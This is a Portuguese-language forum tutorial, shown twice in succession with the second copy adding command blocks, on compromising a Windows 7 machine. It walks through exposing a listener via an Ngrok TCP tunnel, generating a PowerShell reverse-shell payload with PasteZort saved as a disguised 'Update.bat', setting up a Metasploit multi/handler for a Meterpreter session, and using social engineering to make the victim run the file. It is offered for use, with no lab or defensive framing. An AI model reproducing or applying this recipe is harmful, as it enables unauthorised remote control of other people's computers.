Neste tutorial vamos usar uma aplicação de tunelamento, o Ngrok, em conjunto com uma ferramenta denominada PasteZort para gerar um payload em powershell e por fim o metasploit para receber a conexão reversa.
Esse ataque consiste criar um arquivo .bat com um payload powershell, que ao ser executado no computador da vitima vai estabelecer uma conexão TCP reversa através do tunelamento feito pelo Ngrok.
==Sistemas Operacionais==
Hacker = Kali Linux 2018.1 x64
Vitima : Windows 7 ( Build 7601, Service Pack 1) x64
==Ataque==
1 - Instalação e configuração do Ngrok.
2 - Instalação e configuração do PasteZork.
3 - Configuração do payload.
4 - Invasão
1 - INSTALAÇÃO DO NGROK.
Ngrok é uma forma de publicar seu localhost diretamente para a internet. Esse software de linha de comando permite criar um túnel de conexão segura a partir do seu localhost e publica-lo na internet e podendo ser usado no Windows/Mac OS/Linux
Ao acessar a página do Ngrok, será necessário realizar um breve cadastro no serviço.
Concluindo o cadastro, você vai ser redirecionado para a página que contém seu authtoken, necessário para a configuração do Ngrok.
Recomendo por motivos de segurança, não passe seu authtoken para ninguém.
Após salvar o authtoken do Ngrok, Efetue o download dele.
Realize o download da arquitetura compatível com seu sistema.
Assim que o download do .zip for concluído, abra o terminal e localize o arquivo .zip do Ngrok.
Agora o arquivo .zip deve ser descompactado e a configuração do authtoken deve ser realizada agora; Para isso digite os comandos conforma a imagem abaixo:
Feito isso, sugiro que mova o ngrok para o /usr/bin , essa forma é possível de executar o ngrok em qualquer diretório e não será necessário digitar ./ antes de abrir o ngrok.
Observe que vou abrir um túnel de TCP na porta 1337 do meu localhost.
Pronto, o Ngrok está com tudo pronto e em plena execução, nesse momento todo trafego TCP que for direcionado para o endereço 0.tcp.ngrok.io na porta 16066 vai ser diretamente enviado para a minha máquina localhost na porta 1337, que abrimos no ngrok.
O Terminal em que o Ngrok está sendo executado deve ser mantido aberto para que o túnel permaneça aberto.
2 - Instalação e Configuração do PasteZort.
A Instalação do PasteZort é bem simples mesmo, basta realizar o download no repositório git e adicionar a permissão de execução aos arquivos PasteZort.
Feito isso basta executar o script PasteZ0rt.py para iniciar a ferramenta e darmos inicio a configuração do payload
3 - CONFIGURAÇÃO DO PAYLOAD
Como podemos ver na imagem abaixo, é possível criar payloads para a plataforma windows, linux e mac os.
Uma vez que nosso alvo é um sistema Windows, vamos selecionar a opção 1
Agora vamos selecionar os parametros do payload.
Selecione o payload de conexão reversa TCP, opção 1.
Na Opção LHOST, insira o hostname disponibilizado pelo ngrok, 0.tcp.ngrok.io
Na Opção LPORT, insira a porta disponibilizada pelo ngrok, a porta 16066.
Apos o payload termina de ser gerado, esses campos pedindo "Mensaje 1" e "Mensaje 2" vão ser exibidos, qualquer coisa pode ser inserida nestes campos.
Assim que a pergunta for exibida, responda Não, pois não é a hora de iniciar nosso serviço handler.
Feito isso, abra seu navegador e digite localhost; Lá você vai encontrar as duas mensagens inseridas agora pouco.
O payload que geramos esta oculta entre as duas mensagens, basta selecionar as duas mensagens e copiar
Para gerar o arquivo malicioso final, apenas abra um editor de texto de sua preferência e cole o conteúdo.
Veja que o conteúdo da payload já é visível.
Agora salve o arquivo na extensão .bat para que o payload esteja completo.
Perceba que salvei o arquivo com o nome Update.bat
4 - INVASÃO
Já que o arquivo malicioso está finalizado, vamos iniciar nosso servidor para receber a conexão da vitima.
Vamos iniciar os serviços postgresql e o metasploit, conforme demonstrado na imagem abaixo.
Vamos usar o exploit/multi/handler.
A payload selecionada deve ser windows/meterpreter/reverse_tcp.
O lhost deve ser 0.0.0.0 pois esse IP se refere ao localhost propriamente dito.
O lport deve ser a porta do local aberta no ngrok, no caso a porta é 1337.
Feito essas configurações, execute o comando exploit e espere.
Agora você deve abusar da engenharia social para enviar e induzir a vítima a executar o seu arquivo .bat
Uma vez que o arquivo seja executado, a sessão meterpreter já vai estar te esperando.
Com a sessão meterpreter estabelecida é só progredir na exploração.
é isso, obrigado!
Esse ataque consiste criar um arquivo .bat com um payload powershell, que ao ser executado no computador da vitima vai estabelecer uma conexão TCP reversa através do tunelamento feito pelo Ngrok.
==Sistemas Operacionais==
Hacker = Kali Linux 2018.1 x64
Vitima : Windows 7 ( Build 7601, Service Pack 1) x64
==Ataque==
1 - Instalação e configuração do Ngrok.
2 - Instalação e configuração do PasteZork.
3 - Configuração do payload.
4 - Invasão
1 - INSTALAÇÃO DO NGROK.
Ngrok é uma forma de publicar seu localhost diretamente para a internet. Esse software de linha de comando permite criar um túnel de conexão segura a partir do seu localhost e publica-lo na internet e podendo ser usado no Windows/Mac OS/Linux
Ao acessar a página do Ngrok, será necessário realizar um breve cadastro no serviço.
Concluindo o cadastro, você vai ser redirecionado para a página que contém seu authtoken, necessário para a configuração do Ngrok.
Recomendo por motivos de segurança, não passe seu authtoken para ninguém.
Após salvar o authtoken do Ngrok, Efetue o download dele.
Realize o download da arquitetura compatível com seu sistema.
Assim que o download do .zip for concluído, abra o terminal e localize o arquivo .zip do Ngrok.
Agora o arquivo .zip deve ser descompactado e a configuração do authtoken deve ser realizada agora; Para isso digite os comandos conforma a imagem abaixo:
Código:
unzip ngrok-stable-linux-amd64.zip ./ngrok authtoken <sua_authtoken>
Observe que vou abrir um túnel de TCP na porta 1337 do meu localhost.
Código:
mv ngrok /usr/bin/ ngrok tcp 1337
Pronto, o Ngrok está com tudo pronto e em plena execução, nesse momento todo trafego TCP que for direcionado para o endereço 0.tcp.ngrok.io na porta 16066 vai ser diretamente enviado para a minha máquina localhost na porta 1337, que abrimos no ngrok.
O Terminal em que o Ngrok está sendo executado deve ser mantido aberto para que o túnel permaneça aberto.
2 - Instalação e Configuração do PasteZort.
A Instalação do PasteZort é bem simples mesmo, basta realizar o download no repositório git e adicionar a permissão de execução aos arquivos PasteZort.
Feito isso basta executar o script PasteZ0rt.py para iniciar a ferramenta e darmos inicio a configuração do payload
Código:
git clone Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... chmod +x PasteZort/* ; cd PasteZort/ python PasteZ0rt.py
3 - CONFIGURAÇÃO DO PAYLOAD
Como podemos ver na imagem abaixo, é possível criar payloads para a plataforma windows, linux e mac os.
Uma vez que nosso alvo é um sistema Windows, vamos selecionar a opção 1
Agora vamos selecionar os parametros do payload.
Selecione o payload de conexão reversa TCP, opção 1.
Na Opção LHOST, insira o hostname disponibilizado pelo ngrok, 0.tcp.ngrok.io
Na Opção LPORT, insira a porta disponibilizada pelo ngrok, a porta 16066.
Apos o payload termina de ser gerado, esses campos pedindo "Mensaje 1" e "Mensaje 2" vão ser exibidos, qualquer coisa pode ser inserida nestes campos.
Assim que a pergunta for exibida, responda Não, pois não é a hora de iniciar nosso serviço handler.
Feito isso, abra seu navegador e digite localhost; Lá você vai encontrar as duas mensagens inseridas agora pouco.
O payload que geramos esta oculta entre as duas mensagens, basta selecionar as duas mensagens e copiar
Para gerar o arquivo malicioso final, apenas abra um editor de texto de sua preferência e cole o conteúdo.
Veja que o conteúdo da payload já é visível.
Agora salve o arquivo na extensão .bat para que o payload esteja completo.
Perceba que salvei o arquivo com o nome Update.bat
4 - INVASÃO
Já que o arquivo malicioso está finalizado, vamos iniciar nosso servidor para receber a conexão da vitima.
Vamos iniciar os serviços postgresql e o metasploit, conforme demonstrado na imagem abaixo.
Vamos usar o exploit/multi/handler.
A payload selecionada deve ser windows/meterpreter/reverse_tcp.
O lhost deve ser 0.0.0.0 pois esse IP se refere ao localhost propriamente dito.
O lport deve ser a porta do local aberta no ngrok, no caso a porta é 1337.
Feito essas configurações, execute o comando exploit e espere.
Código:
service postgresql start ; msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1337 run -j
Agora você deve abusar da engenharia social para enviar e induzir a vítima a executar o seu arquivo .bat
Uma vez que o arquivo seja executado, a sessão meterpreter já vai estar te esperando.
Com a sessão meterpreter estabelecida é só progredir na exploração.
é isso, obrigado!
Comment